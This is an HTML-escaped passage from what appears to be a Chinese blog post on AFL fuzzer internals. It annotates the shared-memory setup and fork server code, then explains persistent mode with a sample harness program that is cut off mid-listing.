&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;首先，判断是否进行了初始化，没有则调用 &lt;code&gt;__afl_map_shm()&lt;&#x2F;code&gt; 函数进行共享内存初始化。 &lt;code&gt;__afl_map_shm()&lt;&#x2F;code&gt; 函数如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* SHM setup. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static void __afl_map_shm(void) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8 *id_str = getenv(SHM_ENV_VAR); &#x2F;&#x2F; 读取环境变量 SHM_ENV_VAR 获取id&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (id_str) { &#x2F;&#x2F; 成功读取id&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u32 shm_id = atoi(id_str);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    __afl_area_ptr = shmat(shm_id, NULL, 0); &#x2F;&#x2F; 获取shm地址，赋给 __afl_area_ptr&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Whooooops. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (__afl_area_ptr == (void *)-1) _exit(1);  &#x2F;&#x2F; 异常则退出&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Write something into the bitmap so that even with low AFL_INST_RATIO,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       our parent doesn&#x27;t give up on us. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    __afl_area_ptr[0] = 1; &#x2F;&#x2F; 进行设置&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;然后，调用 &lt;code&gt;__afl_start_forkserver()&lt;&#x2F;code&gt; 函数开始执行forkserver：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;68&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;69&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;70&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;71&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;72&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;73&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;74&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;75&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;76&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;77&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;78&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;79&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;80&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;81&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Fork server logic. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static void __afl_start_forkserver(void) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u8 tmp[4];&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  s32 child_pid;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8  child_stopped = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Phone home and tell the parent that we&#x27;re OK. If parent isn&#x27;t there,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     assume we&#x27;re not running in forkserver mode and just execute program. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (write(FORKSRV_FD + 1, tmp, 4) != 4) return; &#x2F;&#x2F; 写入4字节到状态管道，通知 fuzzer已准备完成&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (1) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u32 was_killed;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    int status;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Wait for parent by reading from the pipe. Abort if read fails. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if (read(FORKSRV_FD, &amp;amp;was_killed, 4) != 4) _exit(1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* If we stopped the child in persistent mode, but there was a race&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       condition and afl-fuzz already issued SIGKILL, write off the old&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       process. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	  &#x2F;&#x2F; 处于persistent mode且子进程已被killed&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (child_stopped &amp;amp;&amp;amp; was_killed) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      child_stopped = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (waitpid(child_pid, &amp;amp;status, 0) &amp;lt; 0) _exit(1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if (!child_stopped) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Once woken up, create a clone of our process. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      child_pid = fork(); &#x2F;&#x2F; 重新fork&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (child_pid &amp;lt; 0) _exit(1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* In child process: close fds, resume execution. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (!child_pid) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        close(FORKSRV_FD); &#x2F;&#x2F; 关闭fd，&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        close(FORKSRV_FD + 1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        return;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Special handling for persistent mode: if the child is alive but&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         currently stopped, simply restart it with SIGCONT. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;			&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;&#x2F; 子进程只是暂停，则进行重启&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      kill(child_pid, SIGCONT);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      child_stopped = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* In parent process: write PID to pipe, then wait for child. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (write(FORKSRV_FD + 1, &amp;amp;child_pid, 4) != 4) _exit(1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (waitpid(child_pid, &amp;amp;status, is_persistent ? WUNTRACED : 0) &amp;lt; 0)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      _exit(1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* In persistent mode, the child stops itself with SIGSTOP to indicate&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       a successful run. In this case, we want to wake it up without forking&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       again. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (WIFSTOPPED(status)) child_stopped = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Relay wait status to pipe, then loop back. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (write(FORKSRV_FD + 1, &amp;amp;status, 4) != 4) _exit(1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;上述逻辑可以概括如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，设置 &lt;code&gt;child_stopped = 0&lt;&#x2F;code&gt;，写入4字节到状态管道，通知fuzzer已准备完成；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入 &lt;code&gt;while&lt;&#x2F;code&gt; ，开启fuzz循环：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;read&lt;&#x2F;code&gt; 从控制管道读取4字节，判断子进程是否超时。如果管道内读取失败，发生阻塞，读取成功则表示AFL指示forkserver执行fuzz；&lt;&#x2F;li&gt;
&lt;li&gt;如果 &lt;code&gt;child_stopped&lt;&#x2F;code&gt; 为0，则fork出一个子进程执行fuzz，关闭和控制管道和状态管道相关的fd，跳出fuzz循环；&lt;&#x2F;li&gt;
&lt;li&gt;如果 &lt;code&gt;child_stopped&lt;&#x2F;code&gt; 为1，在 &lt;code&gt;persistent mode&lt;&#x2F;code&gt; 下进行的特殊处理，此时子进程还活着，只是被暂停了，可以通过&lt;code&gt;kill(child_pid, SIGCONT)&lt;&#x2F;code&gt;来简单的重启，然后设置&lt;code&gt;child_stopped&lt;&#x2F;code&gt;为0；&lt;&#x2F;li&gt;
&lt;li&gt;forkserver向状态管道 &lt;code&gt;FORKSRV_FD + 1&lt;&#x2F;code&gt; 写入子进程的pid，然后等待子进程结束；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;WIFSTOPPED(status)&lt;&#x2F;code&gt; 宏确定返回值是否对应于一个暂停子进程，因为在 &lt;code&gt;persistent mode&lt;&#x2F;code&gt; 里子进程会通过 &lt;code&gt;SIGSTOP&lt;&#x2F;code&gt; 信号来暂停自己，并以此指示运行成功，我们需要通过 &lt;code&gt;SIGCONT&lt;&#x2F;code&gt;信号来唤醒子进程继续执行，不需要再进行一次fuzz，设置&lt;code&gt;child_stopped&lt;&#x2F;code&gt;为1；&lt;&#x2F;li&gt;
&lt;li&gt;子进程结束后，向状态管道 &lt;code&gt;FORKSRV_FD + 1&lt;&#x2F;code&gt; 写入4个字节，通知AFL本次执行结束。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;2-persistent-mode&quot;&gt;2. persistent mode&lt;&#x2F;h6&gt;
&lt;p&gt;&lt;code&gt;persistent mode&lt;&#x2F;code&gt; 并没有通过fork子进程的方式来执行fuzz。一些库中提供的API是无状态的，或者可以在处理不同输入文件之间进行重置，恢复到之前的状态。执行此类重置时，可以使用一个长期存活的进程来测试多个用例，以这种方式来减少重复的 &lt;code&gt;fork()&lt;&#x2F;code&gt; 调用和操作系统的开销。不得不说，这种思路真的很优秀。&lt;&#x2F;p&gt;
&lt;p&gt;一个基础的框架大概如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;while (__AFL_LOOP(1000)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Read input data. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Call library code to be fuzzed. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Reset state. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;* Exit normally *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;设置一个 &lt;code&gt;while&lt;&#x2F;code&gt; 循环，并指定循环次数。在每次循环内，首先读取数据，然后调用想fuzz的库代码，然后重置状态，继续循环。（本质上也是一种快照。）&lt;&#x2F;p&gt;
&lt;p&gt;对于循环次数的设置，循环次数控制了AFL从头重新启动过程之前的最大迭代次数，较小的循环次数可以降低内存泄漏类故障的影响，官方建议的数值为1000。（循环次数设置过高可能出现较多意料之外的问题，并不建议设置过高。）&lt;&#x2F;p&gt;
&lt;p&gt;一个 &lt;code&gt;persistent mode&lt;&#x2F;code&gt; 的样例程序如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;* Main entry point. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;int main(int argc, char** argv) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  char buf[100]; &#x2F;* Example-only buffer, you&#x27;d replace it with other global or&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                    local variables appropriate for your use case. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (__AFL_LOOP(1000)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;*** PLACEHOLDER CODE***&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* STEP 1: 初始化所有变量 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    memset(buf, 0, 100);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* STEP 2: 读取输入数据，从文件读入时需要先关闭旧的fd然后重新打开文件*&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    read(0, buf, 100);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* STEP 3: 调用待fuzz的code*&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (buf[0] == &#x27;f&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      printf(&quot;one\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (buf[1] == &#x27;o&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        printf(&quot;two\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (buf[2] == &#x27;o&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          printf(&quot;three\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          if (buf[3] == &#x27;!&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            